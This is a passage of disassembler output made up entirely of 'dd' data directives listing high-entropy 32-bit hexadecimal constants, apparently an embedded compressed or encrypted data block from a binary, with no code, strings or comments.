		dd 407762DDh, 55351E6h,	0CAF6978Eh, 0AFDB6A0h, 4E88594Fh
		dd 0D9789Dh, 24AEF763h,	22FFD2EEh, 780BAA00h, 9ABF6215h
		dd 0A59D2F33h, 3102D6A9h, 0BAD518C5h, 1FB7556Fh, 4CDDC42Dh
		dd 0F4738D81h, 6F4297F5h, 29E58263h, 0B88169D4h, 0DCC23D8Fh
		dd 0F281C04h, 0D2B4BC44h, 9B5FB2E2h, 792C4D3h, 259DF7F4h
		dd 497B2705h, 0DBD2B82h, 4BAD5E14h, 501905D2h, 5B0C5320h
		dd 0B68D352Fh, 0D206E0C8h, 80500B87h, 52184405h, 2EE0FC6Dh
		dd 0B3CD284Bh, 4FE7202Eh, 6F00503Ch, 0B355D019h, 24A64452h
		dd 2E00FE6h, 6A5BCF6Dh,	0E278D75Bh, 147D027Ah, 5B882BAEh
		dd 46D6985Ch, 0BB61001Ch, 4B8A1EADh, 0F0D37401h, 63F617AEh
		dd 2937CC46h, 216B85ECh, 4B94D80Ch, 80FC80D9h, 45A47AD7h
		dd 0A2DF8102h, 5E5726BBh, 0CF806161h, 43282F71h, 0DD39D37h
		dd 9BF921D9h, 8FCE62Ah,	4B98Dh,	74BF5096h, 2377BC12h, 4614F8ECh
		dd 0C05959EDh, 38E5CC7h, 0D9CE9578h, 410AED95h,	0F6535A6Ch
		dd 184E1177h, 3EB494D8h, 0F800DC25h, 6D35F156h,	0E117E08Fh
		dd 7182DB81h, 44DE6F14h, 0FC26714h, 801A818Dh, 342FD4F7h
		dd 0E2E05242h, 0AF328822h, 5C009344h, 0EABC68A2h, 1D3D3Ch
		dd 6D1EC628h, 0CB23B46Ah, 0E63B6925h, 40369E15h, 31D1C6C5h
		dd 353DE400h, 0BC213E41h, 0D2707C6Dh, 0C002E220h, 0E9DBB70Fh
		dd 0E009979Fh, 7CCBBC4Dh, 97080FFh, 4AF781C5h, 3261DD05h
		dd 65FBC18Bh, 0FF84EEE8h, 29B82DABh, 8BC8A940h,	0EE280275h
		dd 1EC9D18Eh, 7474C65Dh, 0F2B05BFh, 3160504Dh, 40F27C94h
		dd 2ED5B29Fh, 25DEAB00h, 6052C1EEh, 7D9702BFh, 5E5378E7h
		dd 0D4CB3256h, 7195DC99h, 5BC5000Dh, 0F8FFD1ACh, 12475058h
		dd 24F606A9h, 0B38270A4h, 0AB01398Dh, 519526A3h, 0AD40F574h
		dd 951983E4h, 2D783DFBh, 0F9A0058Fh, 81BB4C8Ah,	2F26650Eh
		dd 19230C6Ah, 56352000h, 5AD6A6F4h, 0C53FE1F9h,	200C062Ch
		dd 4A9D010Dh, 0B3362ECh, 7043F3BFh, 0CF0C012Fh,	42CD02EDh
		dd 9DB874B3h, 6FE0C8CDh, 97943E6Ah, 83A307B5h, 88ED4D80h
		dd 0B4E9CFDDh, 65844027h, 0E40F7935h, 0E0310AC5h, 0F78A321Dh
		dd 855054Fh, 46FE882h, 0AF0C2DC5h, 40902E75h, 4AFF805Dh
		dd 7F6ED1h, 8D6EF7A3h, 0B5023A46h, 0ECEEC290h, 77015D7Ah
		dd 1ADD752Eh, 282F07A3h, 0F5886C05h, 0F8024E6Ah, 130D109Bh
		dd 0A2B0BE31h, 0F2EE4523h, 85CC00F9h, 696AE19h,	13180016h
		dd 74959BE5h, 0FFAA892Ch, 50037DFh, 0BBFB7BBEh,	1823496Bh
		dd 5D018B1Fh, 6EE9FFFDh, 10138E6Bh, 3F4883EEh, 0ED1D8D12h
		dd 3B26E88Fh, 15120BBBh, 1E2E322h, 505FF857h, 8B5FC0B3h
		dd 5CE15580h, 5995DE8Bh, 0AAED4BE7h, 66F49640h,	497812CFh
		dd 4DBEE636h, 0BCDD4A2Dh, 8031DA2Bh, 97356337h,	0BD890D07h
		dd 6A4D0569h, 2D1930C1h, 0A198A73Bh, 622E1135h,	0B0252B8Fh
		dd 41BF8800h, 0BF642925h, 2AA15640h, 7560E681h,	97C17F85h
		dd 58297D29h, 745745Ah,	0A9256538h, 795842A9h, 970766B5h
		dd 0F09E7A90h, 723942B8h, 4CCB9F5Eh, 3EB8147h, 5B21AC51h
		dd 8888A761h, 78271291h, 2B14415Bh, 2D415B54h, 61E8FC30h
		dd 0ADC82BD9h, 4440F41Ah, 81C28CD1h, 48E5EE07h,	0C3A0FDADh
		dd 9DF3DB6h, 0D0BC8E33h, 52DCF59h, 3D1F0518h, 2DB82356h
		dd 0AD958984h, 73562FA9h, 7BA19932h, 172EB85Fh,	5CD810Fh
		dd 0B6C722Bh, 88EFF525h, 0F709BBB6h, 0DD2C5EA7h, 0A560F21Ah
		dd 2A51859Dh, 4F482B30h, 75A245h, 54839CE3h, 15D734FFh
		dd 0AB2C701h, 11446338h, 2B40A5F5h, 459D0BFEh, 7DDCA0C9h
		dd 73A79095h, 3E087737h, 0A00B20Bh, 8F75F034h, 1302FBF8h
		dd 355DC9FEh, 0C2705CE1h, 60040BCCh, 0A41AE5B0h, 26A52DA8h
		dd 8B206BD9h, 7F1F6D6Bh, 31404B15h, 9A8212h, 4357C021h
		dd 0B9F99F49h, 0CF089D25h, 0BEF9400Fh, 0D35CCE78h, 7A110ECh
		dd 8A4DC34Ah, 997D3B97h, 827B2B56h, 82F07553h, 3DBFBA70h
		dd 844680E9h, 0A15F59EDh, 0E1175D71h, 158860D4h, 0C62C009Bh
		dd 301A782Ah, 0AD01982Eh, 0B959FC8Dh, 32E4C5F4h, 621E9761h
		dd 0E758109Fh, 5E6004Ch, 0BB4B74AAh, 132D21DFh,	82D97EFCh
		dd 18E59509h, 0D5933257h, 9C613890h, 2B3AD900h,	641B84A4h
		dd 7A5A139Dh, 7584A860h, 32397424h, 2F22D908h, 6D4B4F51h
		dd 700D4047h, 0DC264082h, 592D5891h, 41D4FA26h,	674C05DCh
		dd 0AF8C0F66h, 3900428Ah, 938B8494h, 0B70E7ADCh, 60D60656h
		dd 0A28EE117h, 1265B472h, 2543B205h, 1745C59Fh,	0C1CADE58h
		dd 4A6E2A64h, 1FCBC7F0h, 1E24DB81h, 4FC425B5h, 9C88BB04h
		dd 54B84B14h, 4DBD33C1h, 0BFAA062Ah, 0E1FF9B48h, 68432F96h
		dd 0E40EB8D2h, 33C0110h, 927DC0C7h, 46282E05h, 3B528931h
		dd 0CC092920h, 0A3AF0112h, 0AC205E8Ah, 8F79F8E4h, 0BB5B3C01h
		dd 7C563BCBh, 255B282Eh, 9F8D8988h, 0BF6666A0h,	14979AE8h
		dd 9CD85563h, 0D154B56Ch, 0DCFCB460h, 0AD4AE102h, 5C427B77h
		dd 60932455h, 9798287Fh, 803EF03Fh, 25C354A7h, 71129031h
		dd 25D2F4EBh, 67C27ECBh, 9DCFED6h, 0CD7B983Ch, 0F9705972h
		dd 0D0EE5395h, 0D30A54F7h, 0A00B53EFh, 51939709h, 5B5CA596h
		dd 36B8FAC4h, 38090CBh,	0B8666050h, 0E4E90C7Dh,	3BFB61F1h
		dd 7F6A0782h, 0A5E0824Dh, 0FE3F8D91h, 0D2F62489h, 0C6D0842h
		dd 85D86803h, 3ABA5C8h,	0D786279Dh, 88F0F9DCh, 0AD594B8Ah
		dd 595FFBAFh, 24C51816h, 923C678Ch, 3F1B72Ch, 39E9DC8Ah
		dd 7E6E8502h, 6E840901h, 219030BCh, 819830F1h, 762583B9h
		dd 3C5925B6h, 0D4D1DC69h, 62A9A33Eh, 369CCh, 33D19D23h
		dd 0A144C595h, 34FF865h, 2ABC2802h, 5CEF6F76h, 3186905h
		dd 0F50014F2h, 8380DECCh, 9A15158h, 5841E9Fh, 0DFA80C71h
		dd 5FDBFABDh, 0F0D7E689h, 2D30D94h, 10296676h, 467DD98Bh
		dd 0E058BDDDh, 1A9D264Bh, 0BCC0AA38h, 21A2977Ah, 0D15B7800h
		dd 0B767D38Ch, 61FC253Dh, 377505C2h, 0BB532F55h, 0DC19613h
		dd 5FD65BDFh, 0B5FC619Ah, 0D31501DEh, 544B8F5Eh, 1AF5FAC7h
		dd 27E15480h, 0E8D82EFBh, 0B8B627C4h, 0F4C6F410h, 0AE64D600h
		dd 35939FBh, 75E200D2h,	0FA23D5F9h, 491E1A83h, 0B8C9A768h
		dd 545964h, 0EC24D470h,	7E003653h, 0FEA60C20h, 3D7117E6h
		dd 9005265Ah, 0E051E979h, 69A5FCAh, 0A7E1580Bh,	0C211ED64h
		dd 0C0566F73h, 0F19D2961h, 900D096Bh, 0AA00B171h, 0E781757Ah
		dd 0ABC30072h, 38CC6F5Dh, 29255445h, 772FC606h,	65F1BD5Fh
		dd 5C8D1DB2h, 8C446975h, 0EB171000h, 0A8AF51FEh, 60DA70FAh
		dd 8190485Fh, 47121DC7h, 0C7B60B96h, 12A1BD08h,	16DE6BA4h
		dd 0B84609A3h, 51F16976h, 0ACFC64E6h, 842AA310h, 2DE899EDh
		dd 80046FF8h, 1FE9F92Ah, 0DE84D7ACh, 0EBD8ACF5h, 0DD9D8981h
		dd 8916A15h, 8E6B12BDh,	8FAD2A4Eh, 0A5A0B329h, 9F1F9E66h
		dd 2B70955Bh, 0E09A255Bh, 1C599453h, 1F00DC18h,	0E58F1852h
		dd 9FB5D5Fh, 383CBB66h,	17ACD159h, 509C2A09h, 0CCBDBFFBh
		dd 0B6ECD980h, 250DC5BFh, 357342BCh, 269D8D04h,	70068DAAh
		dd 67BE1C48h, 79DD92EDh, 85E9D82Ah, 65192125h, 646DAF50h
		dd 0C01C3340h, 15992D38h, 9AC11A90h, 8791AE3Eh,	0D3C5A67h
		dd 5EACF5D4h, 7CE5A2D2h, 80566B3Bh, 75C5B161h, 39276C42h
		dd 9680CB21h
		dd 6032849Dh, 0CE28B70Fh, 9959D61h, 9EBD5D7Bh, 47F8AC13h
		dd 0CDBD0D12h, 50303EB5h, 4AD58D01h, 6D7CC912h,	0E67AB9A5h
		dd 88C25A06h, 2050202Ah, 8409F381h, 5B76A314h, 0F24DA7A3h
		dd 5637BB42h, 81606094h, 2A16FAE3h, 58AB45CEh, 0BD035C5Eh
		dd 0C520C124h, 26FD12BBh, 5F601F38h, 89CA6A8h, 180A8D9Dh
		dd 888A2296h, 5BDA0BBFh, 0FCA63F45h, 8459129Fh,	0AA9EA834h
		dd 6552DE1Fh, 54C0125Fh, 31FBA577h, 4A7E7CD0h, 2292CA2Eh
		dd 0FB3CA132h, 0F2BAB32Ah, 0A7F53219h, 7159C20Ah, 2D8A016Dh
		dd 6B3A3745h, 31D0BDDAh, 4FAF4EC1h, 2916D97Dh, 89AA92F4h
		dd 10A27FB7h, 0C8BA9A4Ah, 9BD3C91Bh, 0FCF78084h, 0EBB0B5CAh
		dd 0EFF8752Fh, 2E63DA03h, 0C140BFC9h, 122B7BD5h, 0C0559EA9h
		dd 8BDA7DB8h, 31F804FBh, 0AB22F18Dh, 8945EF38h,	9442F68Bh
		dd 8919BAFFh, 8AFDEA6h,	0C6162311h, 1EE85CF9h, 5A376500h
		dd 51FB46ACh, 0D960CBE2h, 16419B50h, 72E02D2Ah,	0EF5C00C1h
		dd 0FF6CFA22h, 0D82600DCh, 48E619CDh, 0F47B65E9h, 515A60F9h
		dd 0CBC2854Ah, 18C53084h, 6114448Fh, 0CC7E9078h, 4B95521Eh
		dd 51619202h, 6552ADDAh, 0A319D10h, 7D38180h, 5A7899FDh
		dd 3596695h, 0F936D48Ah, 0A8168250h, 12EA9257h,	4AFBA274h
		dd 37EF5085h, 788D8376h, 0AB7544A0h, 0BB907F01h, 16659B55h
		dd 0BFBA423Fh, 84D50753h, 0A7AE8822h, 684C01FAh, 0A6BA44B6h
		dd 6E4A3E29h, 79E70068h, 0F0A31DC6h, 667B948Ah,	0FB18FA66h
		dd 0CB0F6A0Eh, 0B62277D6h, 0AE7DDE91h, 0D94D5B00h, 819AE2A9h
		dd 0C2F6A3DEh, 256CF22Dh, 735B2611h, 7BF16EAFh,	39BA9565h
		dd 195D04FDh, 0F63C35ABh, 76ACA278h, 0E9BD0F3Eh, 0E331ACD2h
		dd 0B6304AB3h, 0B5A5F0B4h, 4B020E8Bh, 0E6926AF9h, 0F010E0B3h
		dd 0BDBB3ED1h, 5B122082h, 487F8529h, 2DB790C7h,	0CDD6503Ah
		dd 0AD8A1041h, 0B74063EDh, 0B0AAABBh, 905F70C0h, 5DC4C54h
		dd 8671AB77h, 411DF060h, 0CC2A2341h, 0DC9C6190h, 0C9975469h
		dd 5060E2B0h, 0E6003090h, 0BE5A03E4h, 931286Dh,	0CDE96167h
		dd 0F2734C56h, 0E3800192h, 4C806BE0h, 9DF93F70h, 17598053h
		dd 0E4091E18h, 7F8B3220h, 8D897310h, 540D1125h,	8B35EB7Dh
		dd 258C4D94h, 257A65F8h, 0EF40484Dh, 5886E3E4h,	9112204Fh
		dd 0A43CAC03h, 84BDDBEAh, 6BABB706h, 0F1B2354h,	0AB20E959h
		dd 5C8031B5h, 0D98D290Ch, 95FF5318h, 0CE4F8710h, 0EE00B87Eh
		dd 0F4673A6Dh, 1D2B2601h, 0EE1AF40h, 4C10F1BDh,	104B76EBh
		dd 0DC837ADEh, 0A1D18EA6h, 0B9622B57h, 0F718DDFCh, 0B070131Dh
		dd 8277D99Dh, 0A2DBD03h, 6070E602h, 12C6B8D7h, 0B4FC71E4h
		dd 2FC9D8B9h, 4AB258F5h, 0B5E523BAh, 89091D92h,	29388E7Dh
		dd 8E9B5916h, 0D3106DBDh, 2401BC04h, 0BFC82B04h, 0D1D9B1CDh
		dd 0F37B2821h, 0F55650E4h, 0CACACE95h, 133DE546h, 849BF85h
		dd 739FAC56h, 3264B55Bh, 0A5112121h, 58CC874Bh,	891A6166h
		dd 182145Fh, 0F1822904h, 0E6D522AAh, 0A9BCC406h, 0DE62AA0Ah
		dd 0A52A2F40h, 88FE1615h, 0DC009A37h, 0A8084BB3h, 0F24AFDDh
		dd 6539EF19h, 0D1177007h, 634C8C3Ch, 50007D92h,	3180BCDEh
		dd 985FFE8Ah, 7B95516Ah, 182D8889h, 5750FA54h, 0CD048216h
		dd 0FC6A495Dh, 82C960CFh, 4D0B2EDFh, 0DA59EEh, 8451C510h
		dd 11E73CF6h, 169F5A24h, 0E570EB5Bh, 5B36B9FEh,	800B9E08h
		dd 273A2D71h, 79072DEFh, 0F46BE511h, 583D1646h,	0AC7683AAh
		dd 0D8E17062h, 744F57Ch, 1B8DD33h, 0AC0C74BDh, 0C649C8Dh
		dd 648B15B7h, 4A969DFBh, 0D7E8DA09h, 7FE96AE9h,	0CDE0754Dh
		dd 12D22BDCh, 0A9B9DB80h, 93FDB4DDh, 1FAFCA8h, 0A7AFD604h
		dd 65813BBBh, 0F76B06C9h, 737A7AEh, 85236040h, 98284BE1h
		dd 0EF0001BDh, 94290271h, 330D74h, 5BB98AB4h, 9284FDE0h
		dd 9914A609h, 0BFC85861h, 2E4096CFh, 2FB169D1h,	0D45B3EDDh
		dd 2C191B59h, 0AD78C004h, 4E5B5751h, 0D77EA95Fh, 9DA879FDh
		dd 84EA9595h, 0AC75BD33h, 0AC8A4A5Bh, 0FCB46D2Eh, 0FA973170h
		dd 9D0B13DDh, 3770AAEDh, 5A35B589h, 5022B717h, 0FB97B1FBh
		dd 464D27E7h, 7A625E40h, 5F2616FDh, 0DF270314h,	8043506h
		dd 6C4BA87Bh, 0D5A7C1ACh, 0D606DE04h, 24356B0h,	0A2D8BF64h
		dd 0CC56304Bh, 0FF04FA53h, 420204BDh, 546A264Eh, 0AC161673h
		dd 2BFCE23Ch, 16DC5574h, 0BC5FE20Ch, 0B060275Bh, 0BDDD9520h
		dd 8C2D7D52h, 704353D9h, 0E212212Ch, 0F4B11662h, 36F10B26h
		dd 11606C4Dh, 9D160A55h, 2A93E1D5h, 52AFFF53h, 0BB6BFE92h
		dd 31001823h, 0BF74BEDDh, 0BB6702B3h, 4DA9524Ah, 0DC27F956h
		dd 0EB09F6DDh, 0F929E8ECh, 79618186h, 0ECA3BD68h, 0D7F0808Ch
		dd 2C26381Eh, 0F24A7151h, 0F7800F07h, 0B9926345h, 8B865893h
		dd 43E5DA00h, 0D11E1768h, 4F54805Ch, 81DFCB31h,	0E5E84880h
		dd 0AFB37F4Dh, 0E125CC90h, 0A406C521h, 0AB02D604h, 4D91E5C1h
		dd 4B035C27h, 56801CB7h, 17E03532h, 1E912FBh, 99099102h
		dd 0F92D2B2Dh, 4AC1E35Ah, 0D0B20722h, 9B09EB81h, 59790285h
		dd 45096F5h, 72755D9h, 0A97E295Fh, 0E0E5542Eh, 792FBB60h
		dd 0B966EC00h, 3E2CAFB2h, 0AA9C8C61h, 663D5CDCh, 466DA13h
		dd 0EF896E35h, 65C035DBh, 54D9AE12h, 53C18D4Bh,	6E60075Ah
		dd 950DB2A5h, 4D25C565h, 15DB407Ch, 190D363h, 0ADBCF95Eh
		dd 670DA89h, 0D3BE7AC0h, 1FE880E4h, 0D29661E1h,	7424AEFAh
		dd 7380E4E8h, 0B5ACFF7Ch, 31F78C1Fh, 0D672EA8Bh, 565C2F1Eh
		dd 87AB5569h, 7141A7DEh, 0D4706E0Dh, 614F60h, 8D8996DCh
		dd 0BA952665h, 3BEDC6F1h, 841F89A4h, 27750058h,	70A1C890h
		dd 0DC209625h, 846841C4h, 924FF9E2h, 0B7B0D8DAh, 8FE13D7Bh
		dd 0AED7666Bh, 6F85AB3Eh, 83B8C08Bh, 0F401AC50h, 41DAC5B4h
		dd 0C83A3152h, 0C4BD5BFDh, 0E8F94086h, 3430860h, 0C5B701Ch
		dd 0F2E6B329h, 87AAD924h, 0E2C6D7h, 9675B1F1h, 11EAEB13h
		dd 0B8C65A14h, 0BFF90E9Ch, 0CE564157h, 9E73F2Fh, 7EC78070h
		dd 9116B57Fh, 0D5E08019h, 5AD75094h, 0C0E7AC61h, 11D81A10h
		dd 1D042418h, 4EFD12B4h, 0B63761C1h, 0F156E315h, 4C2054D6h
		dd 0CF094AFDh, 9D1274EBh, 39AA1869h, 5E0E6C73h,	39BCC2EDh
		dd 2C003472h, 83BDDDCh,	0BF37E938h, 0CF6529EFh,	0A5623BABh
		dd 0EEA099A6h, 0DC7FD02Ah, 82C18839h, 87CACCCFh, 12B5FE47h
		dd 842DE309h, 7ABA0419h, 0FEE00226h, 42FB8E78h,	1400D796h
		dd 9D297AEAh, 0D0A6D24h, 67A4DF79h, 4F78DECEh, 6960F00Dh
		dd 0E149C232h, 417F40E6h, 0B7D19703h, 0F8DB044Bh, 78D143B8h
		dd 3E00A7ACh, 0C2E340CFh, 259531E8h, 12CD17E9h,	31601DE4h
		dd 7E0121B0h, 6240C8F9h, 0A940753Ch, 25BFD8E7h,	0B85679B7h
		dd 0FCA4EDE5h, 0A8EA09BFh, 0C1501E95h, 3DC9FB4h, 0F1A579D4h
		dd 0F0C51BB3h, 0A4AC5FAEh, 0F19D3309h, 0E80F560Bh, 7059497Fh
		dd 1F11A901h, 0FF0D271h, 57F63DB4h, 51602D46h, 3D46B272h
		dd 9A2A8AFh, 2A54C585h,	9C76DC4Bh, 6FC66561h, 410829A1h
		dd 11028C06h, 47398FB3h, 0A826EDD2h, 284D0098h,	93B6A156h
		dd 524CD559h, 4FD74C8Ch, 4C24C45h, 6FE03EF6h, 0DB0008A4h
		dd 37607E76h, 12FCD7EFh, 0E197CF80h, 2EEBD97Dh,	0D0397A29h
		dd 20F63EA9h, 807FCC4Ah, 0CFA8D32Fh, 0EAE240DEh, 0CF0236A2h
		dd 2FBEC6C8h, 6591828Eh, 52965C09h, 2C7E4D40h, 544D5995h
		dd 8B857197h, 114450F8h
		dd 0FEDB1007h, 5F99C2C1h, 0F1159180h, 5D49933Ah, 9D137390h
		dd 60EE16C5h, 0B37AA099h, 1F75C0FDh, 27DB539h, 0C0BB7ED3h
		dd 116493E1h, 4A2AEDE0h, 0A3AEAFC4h, 3F9B00AFh,	57D5F50Fh
		dd 0FEFF0F3Eh, 37F7EB1Dh, 0F62770A0h, 0E712C7F0h, 20AB1028h
		dd 0CDABE6Bh, 5E864009h, 0C16BF65Fh, 423DD9Dh, 36A2C7ACh
		dd 0FEF96022h, 98BB060Fh, 0CDB7F5F6h, 0ACD8C1BAh, 1E6970BCh
		dd 2B1140Dh, 526F86E9h,	0B4CBB646h, 0A2BB3134h,	1BE8926Dh
		dd 0A432392Bh, 11590941h, 9D069655h, 843E23B5h,	0A427B90Eh
		dd 2542C1EAh, 0B5030126h, 953864DAh, 636B7C94h,	39375F44h
		dd 0FA6AD380h, 74CD4CE4h, 1DE12565h, 35555D89h,	801D911Dh
		dd 0CC99D13Eh, 0E47AFB82h, 8D5B3105h, 0C0B0A552h, 3BF0951h
		dd 6189DDC1h, 0CC49A59h, 0CA9BE440h, 180076FDh,	0E8E54E73h
		dd 4AE94268h, 7F88B167h, 82013D6Eh, 0E5C9D663h,	55C92B29h
		dd 213E72Ah, 0A3FA43F2h, 693B4127h, 605B8E52h, 2FA2EC24h
		dd 0F96076B9h, 564A51D8h, 0E25BD4F0h, 9D2CB6E9h, 5CC84ED5h
		dd 0E9E80114h, 92002A4Bh, 0D1A41472h, 6FDF0062h, 0AC1C9986h
		dd 0D6005AC9h, 22A08F66h, 0C4E3B2h, 0FE6ECCC7h,	37A70817h
		dd 73D15E00h, 3EBD7203h, 9C270ECEh, 52A013B2h, 0ECAD169Fh
		dd 1EEA504Eh, 80F080E3h, 0FC25A0BEh, 1086F200h,	0B1BCAE7Fh
		dd 91010082h, 0BF2F8CA5h, 70C6A77h, 29FA1FA6h, 9FB01E81h
		dd 2DA0C197h, 20A9199Ah, 0E9795C03h, 7A4B25C0h,	21A390h
		dd 0F5A8ADB1h, 55BC581Eh, 32412909h, 5E0D7FDh, 0F1072595h
		dd 8B3CA312h, 0B7A5B9F0h, 83C5300Ch, 449FA84Ah,	0F0E39800h
		dd 2AC0EF24h, 57D4014Bh, 0BFF767CBh, 0C55F4CEh,	0EF30C360h
		dd 30C5F1DEh, 52131E3Eh, 943382F2h, 1F6DAA9Fh, 87B02098h
		dd 0E3CAC3h, 18319C1Dh,	0A84B9502h, 0A5701B97h,	9941EFCDh
		dd 5ACA2A87h, 0D8FF368Ch, 42721CE7h, 1160A930h,	607A490Bh
		dd 5160F57h, 4A070D2Ah,	1F95D998h, 903FE0AFh, 0C44234B9h
		dd 4012BC6Ah, 3059ECF2h, 0B9B5C0D6h, 71BF60E8h,	828A363Bh
		dd 0C52469D1h, 0F1B86055h, 9FBD3C81h, 806FFDB0h, 5100BBAFh
		dd 4670E060h, 0E9C43AAh, 8856C62Bh, 6254C480h, 0EE167D6Dh
		dd 0A809C241h, 0BE4BDD75h, 82387ED9h, 87F77456h, 10FA758Ch
		dd 0EF03AA00h, 37D343C2h, 107838FAh, 7ABDF580h,	0E78EA139h
		dd 4BBB381Ch, 67D75640h, 0C5ED92Fh, 607FDA6Fh, 7344E5EAh
		dd 7E3BA0C1h, 78BE0059h, 11AF8A2Dh, 3D01B879h, 0CE55C9CDh
		dd 29F0E8DFh, 477309Ah,	0A25F6E4h, 9B2A340Ch, 7F51576h
		dd 0F8274624h, 170CE07Ah, 93F62191h, 98B11C00h,	97A91245h
		dd 816264ABh, 0E522377Fh, 3FA1A0BCh, 8F7C6Eh, 0FC79BD2Dh
		dd 70992C32h, 2AFB1FC0h, 2A665940h, 3A7278Ch, 0F97CDA75h
		dd 6FF09E65h, 9BA08E7Bh, 0D6A853D9h, 0CB4C2889h, 0D2710C12h
		dd 36E4D8Fh, 9E98725Dh,	1500F717h, 0BA2E27F3h, 0AB0B2Dh
		dd 69503ADDh, 0FA66D376h, 1EEA1A0h, 24CA88h, 4EBE3DC9h
		dd 0C47F5D61h, 60499D60h, 0C1A2E75Eh, 5778490Fh, 2BAC3BB3h
		dd 0F1980071h, 3CAC09BEh, 43FC1122h, 0DECCA700h, 71D4EA1Ah
		dd 9BFC09D5h, 15AA6816h, 0F9748036h, 9D92E189h,	82AE1E3Fh
		dd 93F8C60Dh, 11707716h, 789CF748h, 66101D60h, 213D0FFh
		dd 18DA05B4h, 0FF43991Bh, 0E854D0D4h, 0F92469CBh, 0E900EABDh
		dd 71C1A8Ah, 9F1A0A4h, 0FE3800A8h, 0B6AB6901h, 0D500C131h
		dd 0C6F060DCh, 0FEE5D841h, 3BA2260Bh, 0CBD68055h, 9DBD245Eh
		dd 9759E62Ah, 40EBC24Eh, 3F4AFC68h, 2C4C375Bh, 91E10D76h
		dd 1BE1EC2Fh, 0A506C4h,	0D9FE6035h, 2B49F0A2h, 0D0BA8409h
		dd 2DAB2063h, 585ECEh, 4076E64Bh, 3462D233h, 8A35BC09h
		dd 0C766DD59h, 3ADB5E19h, 927B6190h, 587735CAh,	5467E459h
		dd 18C9D422h, 44C12F8h,	0DB5FE20Bh, 0A03952BCh,	2463DCBCh
		dd 0C1B18E9Fh, 901080B8h, 0C23F4E1h, 24AE0182h,	458C3707h
		dd 281C80BAh, 72437317h, 98C13044h, 0E757D617h,	40C2AF00h
		dd 0E34AE6D0h, 26B9F2FCh, 24726B52h, 95BC8C76h,	47095833h
		dd 834CEDA3h, 0B7E8376h, 969B1018h, 0D2C65501h,	23D847C1h
		dd 1F034891h, 1C886233h, 12F50197h, 531A121h, 4FBAF408h
		dd 0B790DEE6h, 0B4921678h, 9C06191Eh, 931B2401h, 1320F691h
		dd 6BE80034h, 372C6A45h, 50B144B4h, 0A0FC1E84h,	15844080h
		dd 9E1D00AAh, 9F5F472Eh, 0F4094F6Fh, 89B5C6FBh,	64FC0FBBh
		dd 38C02E92h, 9226E387h, 0F0533FD0h, 1CA80684h,	6D868054h
		dd 0B0031F86h, 94AADA9Eh, 0E83191CAh, 329C25B1h, 8E0F80EFh
		dd 0CDF892BDh, 7F6677D2h, 364001Ah, 0B5A2BC93h,	753C08D6h
		dd 85ACD80h, 2CED9h, 4A145F0Bh,	4D015C0Dh, 6A2953EFh, 58229C80h
		dd 924F4000h, 3D0E16A0h, 1E13F91Fh, 0CD3E2CC0h,	0F3066Eh
		dd 773BB2B6h, 0ACA9B59Ah, 6539C000h, 0A54523AEh, 0DA5900C6h
		dd 0DD5F546Ah, 0B6EA296Dh, 8CFD7807h, 0BF90415Ah, 428538h
		dd 6FC451C1h, 899A9C0Ch, 7FB72715h, 5BD8C0ABh, 3E1ABEBh
		dd 87E975D0h, 82EC1F17h, 8B7239D0h, 0B94F6F62h,	0A9597781h
		dd 0FC685E76h, 2BEA4E8Fh, 0A6680CA8h, 0F33C2F53h, 0A0EAC6E1h
		dd 7CB8501Fh, 0C03001Ch, 59354840h, 65007E0Fh, 508E8C1h
		dd 0E9B0233Bh, 1387AC3Bh, 6B0F7A79h, 7F70A5Fh, 0F6685803h
		dd 0B6EE842Fh, 575A17A4h, 55DEEEC0h, 8F4C0E66h,	0BDCA0842h
		dd 0F2F92009h, 948B605Dh, 81E68956h, 86AC651h, 86C68706h
		dd 1F08FF5Ch, 83C4835Fh, 0FBD8E8E9h, 2F82F9D8h,	93F0E205h
		dd 20A2BCD3h, 0A4DBB804h, 99B4EE19h, 0D07A1C66h, 0CE994032h
		dd 3EAA253Ch, 4200CAE6h, 90C77CB1h, 0EE12D22h, 1E7D64CFh
		dd 566059EEh, 8F661185h, 45EAF400h, 15FA55D3h, 27AA0078h
		dd 17AC0D3Ah, 0AF01EF64h, 0BAD4AA1h, 6AD461FCh,	12400D5h
		dd 0DC4426D6h, 7570FF40h, 6DA14D07h, 18D0F7CEh,	0F6C82Bh
		dd 0AEB26811h, 5ADEAF5Fh, 9F791F00h, 0BABE7A57h, 0F813070Fh
		dd 156EF4Bh, 6A418021h,	0D989922Ah, 855CA47Dh, 90DCD3BBh
		dd 88FEBBD0h, 5C60F99Ch, 187425Eh, 1F36B40h, 3E688BABh
		dd 9E90BCB0h, 603FDC6Ch, 0F0DF00A2h, 0C21EB576h, 8D290815h
		dd 91D06F1h, 5D33B18Bh,	6C614999h, 0AFB0922Fh, 854750C7h
		dd 0F7A75075h, 84DA9DF9h, 1044FDF4h, 0BABF4BB7h, 0FF003D7Ah
		dd 0EBCC906Bh, 852F295Dh, 0BFB5F2B1h, 8D2FFFF3h, 0EF3C0A2Fh
		dd 8F68D84Fh, 80E5B7h, 2908D241h, 0F395BE32h, 0C1CDA5D4h
		dd 2A604743h, 0BE7BD94h, 17C98D8Bh, 68D1D969h, 67421611h
		dd 5F8972A2h, 1CD8EED3h, 26A2F40h, 5D69AA56h, 727EAC0Bh
		dd 0D4C8432Dh, 75BD2941h, 0EA9B7B16h, 83C017C8h, 0B9C19F3h
		dd 1E95F56h, 7FC21E51h,	8D0F03A7h, 0E273EEA4h, 0FFB48886h
		dd 5A9B0054h, 52662108h, 89153B79h, 2DA3298Dh, 0F65AC65Bh
		dd 0A2615595h, 0B940743Fh, 0FABFA82Dh, 0DD6EC59Ah, 0B798AF1Dh
		dd 16F572BEh, 4B37DCh, 0EF2D6497h, 8D04A54Dh, 50A8750Bh
		dd 4CF09EEh, 80CB37F7h,	2ECA724Ch, 0BC276912h, 306E115h
		dd 0BC9BAE05h, 4F301B89h, 0B203B0CCh, 0E3207BCDh, 0EDEA10E2h
		dd 9D1B5018h, 648E265Ah, 0A2ABB64Bh, 2D5A781Fh,	684CFE8Ah
		dd 80A178EFh, 37877FB4h, 4C2F0B0Ch, 9A007C2Eh, 33EDB5FFh
		dd 1DABD97h, 0EEB5465Eh, 34616A91h, 0B0020117h,	2C966ADCh
		dd 8D8E6FF8h
		dd 0DEBF8110h, 233E71E4h, 6BD81538h, 583ED680h,	0C637806Ah
		dd 16424733h, 0A86305FCh, 0A9E30EEEh, 5AE12246h, 0B3FFA0F8h
		dd 7C0E7925h, 698494C4h, 64DF8005h, 0EC8CBBBAh,	211D41C9h
		dd 6A01E176h, 0FDB55B21h, 0BD3118FAh, 0AD280D21h, 0A150C110h
